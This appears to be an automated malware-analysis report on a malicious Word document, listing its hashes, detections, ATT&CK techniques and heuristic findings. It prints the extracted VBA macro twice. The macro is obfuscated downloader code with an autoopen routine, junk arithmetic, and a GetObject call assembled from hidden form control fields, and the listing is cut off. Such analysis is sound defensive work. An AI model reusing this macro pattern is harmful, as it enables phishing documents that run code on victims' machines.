Office (OLE) malware analysis — malicious · 471d821b3445a306

MALICIOUS

Office (OLE)

176.9 KB Created: 2019-03-29 15:18:00 Authoring application: Microsoft Office Word First seen: 2019-11-20

MD5: d974b7a140839b0453766341b167a78a SHA-1: 4660d6c73e9d22f7f89d0dbe3a8e59ff9797d10e SHA-256: 471d821b3445a306e07c058ca4ea582f9988d3b10da2f31162a38e3836603cdc

222 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious Office document containing a VBA macro with an AutoOpen function, indicating it's designed to execute automatically upon opening. The presence of GetObject calls and the ClamAV detection as 'Doc.Downloader' strongly suggest the macro's purpose is to download and execute a second-stage payload. No specific family could be identified, but the behavior is consistent with a downloader.

Heuristics 7

ClamAV: Doc.Downloader.00536d-6916066-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.00536d-6916066-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
GetObject call high OLE_VBA_GETOBJ

GetObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25127 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	25127 bytes
SHA-256: `64d0134bb6dfcdc73b525679b8ccb0348bbc450204b33ed3f49a73cf0d07208e`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "hww4cUU" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "wADABkC" Attribute VB_Base = "0{1861A4BE-5F6F-4903-A90E-D9BEC77F252B}{20268424-B388-4450-894A-A0CF95CFAF1C}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "zU_AGcZ" Attribute VB_Base = "0{9B80721E-5450-4980-9FE3-C987B12A364C}{F3C03C08-B6B3-4B87-89A0-40AA4489CCB6}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "H4Z4xA" Function DDABU_4() If lxBAABxB = VUABBAGk Then dkDBBA _ = ZwAccCU - 378615272 - 453946608 + _ CVar(289556260 - Atn(YCAwBADA / lACkA4 _ + dZkZDZAA / Tan(729689948))) * (195892460 + Hex(845804993 _ / Cos(TQ1AAck))) End If If G4QQA1AU = FAZ4Q4A Then nXBAxX _ = L4AUQBQ - 257846855 - 861914610 + _ CVar(84260022 - Atn(f4A1_AA_ / mAcDDABA _ + TAUACBA / Tan(178304468))) * (977888540 + Hex(328402884 _ / Cos(DA4AA1o))) End If If mAkDZAZA = LQcAUAQ Then J1QU4kZZ _ = EZokAXAA - 998489258 - 396888363 + _ CVar(156926403 - Atn(VXGxBA4 / FcoAc_ _ + wAXUUc / Tan(338216398))) * (402260497 + Hex(729022449 _ / Cos(uQA4cADQ))) End If End Function Function JUoUAUw() If CAA1ZAk = iAAwD4 Then iBQDAA1 _ = P_CQ_GQ - 367921576 - 516882078 + _ CVar(550698567 - Atn(RxwD4x / Uk1QBBc _ + lAcAkA / Tan(638409463))) * (752088292 + Hex(459434020 _ / Cos(kBBADAAQ))) End If If U4C_Ax = EQXDDD Then A4UUAC _ = vABXcQA - 882544217 - 110824657 + _ CVar(685872514 - Atn(ZAAZxZQx / bCQQDCBA _ + s_Q__AA / Tan(296037713))) * (355504692 + Hex(296816906 _ / Cos(QAGBAAD))) End If If ixCAwDB = JAAQ_1 Then DAxkxwD _ = QXoUA1 - 700413680 - 699256916 + _ CVar(270013143 - Atn(LBQUGA / GUAAQA _ + q1AAoA / Tan(68106818))) * (59592446 + Hex(678511507 _ / Cos(WAkBXDAX))) End If End Function Sub autoopen() CAoCQQA End Sub Function CAoCQQA() On Error Resume Next If UGc__B = MkwAGcU_ Then jAoABQcA _ = PkAUoX - 242575956 - 164560754 + _ CVar(920000426 - Atn(SQZA_Q / UCGwDQG _ + E__U4UB / Tan(99831862))) * (811618026 + Hex(513729027 _ / Cos(nAQGQAC))) End If If JkGQAx = wBDxBA Then PAXBUDQ _ = j4AAAk - 79679781 - 944025743 + _ CVar(399116959 - Atn(tQQABBCA / RQAXCoG _ + pDAAAUUG / Tan(681670082))) * (732451995 + Hex(6497310 _ / Cos(Ux4ZoUc))) End If Set jxZDGUAw = GetObject(wADABkC.hUkoAA.ControlSource + zU_AGcZ.CDDA4CQA + wADABkC.hUkoAA.ControlTipText) If wCQXxDA = MCDQxZ Then RDAkQU _ = lAAQ_ADA - 662491697 - 881624057 + _ CVar(671411604 - Atn(jUUcZA / X4AAXXB _ + IwG_11 / Tan(506748710))) * (528320386 + Hex(614817852 _ / Cos(hokBXUGC))) End If If HAwBZAC = z4kQDGc Then wDAx4Q _ = RXUkZG - 460184583 - 177368023 + _ CVar(948482138 - Atn(c_oAUUB / QBAQDU _ + ikAGxAc / Tan(738520389))) * (222577712 + Hex(357517638 _ / Cos(j4AAAUQD))) End If If 513391 = 513391 Then If PwwGAAA = RDwAAAZ Then JABZAA _ = AD4AAA - 495688597 - 544135281 + _ CVar(374874842 - Atn(RAcA_A / N4AcUoA _ + pACX4UA / Tan(696973364))) * (228753354 + Hex(350747867 _ / Cos(mAU_UAQw))) End If If rBcc1AD = bAxDAD Then zDwAAA _ = oo__QQ - 856005483 - 298573077 + _ CVar(277165683 - Atn(zA_X4AQA / UAUAXA _ + E4ACQQ / Tan(195613157))) * (641859564 + Hex(406535887 _ / Cos(XUDwXAAQ))) End If jxZDGUAw.ShOwWiNdOw = wADABkC.RD4ZQABA + wADABkC.RD4ZQABA + wADABkC.RD4ZQABA If ZA_AAAQ = GAkQAAZU Then i4CADAcc _ = hU4QAAZ - 453024655 - 903030664 + _ CVar(812278855 - Atn(KACQBG / CUXA1oQ _ + UQ_C_D / Tan(744615501))) * (753918957 + Hex(336280372 _ / Cos(NAZUA_UU))) End If If OAACC1X = QAwB1Z Then EADBDQ _ = IQGAcA - ... (truncated)

SHA-256: 64d0134bb6dfcdc73b525679b8ccb0348bbc450204b33ed3f49a73cf0d07208e

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "hww4cUU"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wADABkC"
Attribute VB_Base = "0{1861A4BE-5F6F-4903-A90E-D9BEC77F252B}{20268424-B388-4450-894A-A0CF95CFAF1C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "zU_AGcZ"
Attribute VB_Base = "0{9B80721E-5450-4980-9FE3-C987B12A364C}{F3C03C08-B6B3-4B87-89A0-40AA4489CCB6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "H4Z4xA"
Function DDABU_4()
   If lxBAABxB = VUABBAGk Then
dkDBBA _
= ZwAccCU - 378615272 - 453946608 + _
CVar(289556260 - Atn(YCAwBADA / lACkA4 _
+ dZkZDZAA / Tan(729689948))) * (195892460 + Hex(845804993 _
/ Cos(TQ1AAck)))
End If
   If G4QQA1AU = FAZ4Q4A Then
nXBAxX _
= L4AUQBQ - 257846855 - 861914610 + _
CVar(84260022 - Atn(f4A1_AA_ / mAcDDABA _
+ TAUACBA / Tan(178304468))) * (977888540 + Hex(328402884 _
/ Cos(DA4AA1o)))
End If
   If mAkDZAZA = LQcAUAQ Then
J1QU4kZZ _
= EZokAXAA - 998489258 - 396888363 + _
CVar(156926403 - Atn(VXGxBA4 / FcoAc_ _
+ wAXUUc / Tan(338216398))) * (402260497 + Hex(729022449 _
/ Cos(uQA4cADQ)))
End If
End Function
Function JUoUAUw()
   If CAA1ZAk = iAAwD4 Then
iBQDAA1 _
= P_CQ_GQ - 367921576 - 516882078 + _
CVar(550698567 - Atn(RxwD4x / Uk1QBBc _
+ lAcAkA / Tan(638409463))) * (752088292 + Hex(459434020 _
/ Cos(kBBADAAQ)))
End If
   If U4C_Ax = EQXDDD Then
A4UUAC _
= vABXcQA - 882544217 - 110824657 + _
CVar(685872514 - Atn(ZAAZxZQx / bCQQDCBA _
+ s_Q__AA / Tan(296037713))) * (355504692 + Hex(296816906 _
/ Cos(QAGBAAD)))
End If
   If ixCAwDB = JAAQ_1 Then
DAxkxwD _
= QXoUA1 - 700413680 - 699256916 + _
CVar(270013143 - Atn(LBQUGA / GUAAQA _
+ q1AAoA / Tan(68106818))) * (59592446 + Hex(678511507 _
/ Cos(WAkBXDAX)))
End If
End Function
Sub autoopen()
CAoCQQA
End Sub
Function CAoCQQA()
On Error Resume Next
   If UGc__B = MkwAGcU_ Then
jAoABQcA _
= PkAUoX - 242575956 - 164560754 + _
CVar(920000426 - Atn(SQZA_Q / UCGwDQG _
+ E__U4UB / Tan(99831862))) * (811618026 + Hex(513729027 _
/ Cos(nAQGQAC)))
End If
   If JkGQAx = wBDxBA Then
PAXBUDQ _
= j4AAAk - 79679781 - 944025743 + _
CVar(399116959 - Atn(tQQABBCA / RQAXCoG _
+ pDAAAUUG / Tan(681670082))) * (732451995 + Hex(6497310 _
/ Cos(Ux4ZoUc)))
End If
Set jxZDGUAw = GetObject(wADABkC.hUkoAA.ControlSource + zU_AGcZ.CDDA4CQA + wADABkC.hUkoAA.ControlTipText)
   If wCQXxDA = MCDQxZ Then
RDAkQU _
= lAAQ_ADA - 662491697 - 881624057 + _
CVar(671411604 - Atn(jUUcZA / X4AAXXB _
+ IwG_11 / Tan(506748710))) * (528320386 + Hex(614817852 _
/ Cos(hokBXUGC)))
End If
   If HAwBZAC = z4kQDGc Then
wDAx4Q _
= RXUkZG - 460184583 - 177368023 + _
CVar(948482138 - Atn(c_oAUUB / QBAQDU _
+ ikAGxAc / Tan(738520389))) * (222577712 + Hex(357517638 _
/ Cos(j4AAAUQD)))
End If
If 513391 = 513391 Then
   If PwwGAAA = RDwAAAZ Then
JABZAA _
= AD4AAA - 495688597 - 544135281 + _
CVar(374874842 - Atn(RAcA_A / N4AcUoA _
+ pACX4UA / Tan(696973364))) * (228753354 + Hex(350747867 _
/ Cos(mAU_UAQw)))
End If
   If rBcc1AD = bAxDAD Then
zDwAAA _
= oo__QQ - 856005483 - 298573077 + _
CVar(277165683 - Atn(zA_X4AQA / UAUAXA _
+ E4ACQQ / Tan(195613157))) * (641859564 + Hex(406535887 _
/ Cos(XUDwXAAQ)))
End If
jxZDGUAw.ShOwWiNdOw = wADABkC.RD4ZQABA + wADABkC.RD4ZQABA + wADABkC.RD4ZQABA
   If ZA_AAAQ = GAkQAAZU Then
i4CADAcc _
= hU4QAAZ - 453024655 - 903030664 + _
CVar(812278855 - Atn(KACQBG / CUXA1oQ _
+ UQ_C_D / Tan(744615501))) * (753918957 + Hex(336280372 _
/ Cos(NAZUA_UU)))
End If
   If OAACC1X = QAwB1Z Then
EADBDQ _
= IQGAcA - 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.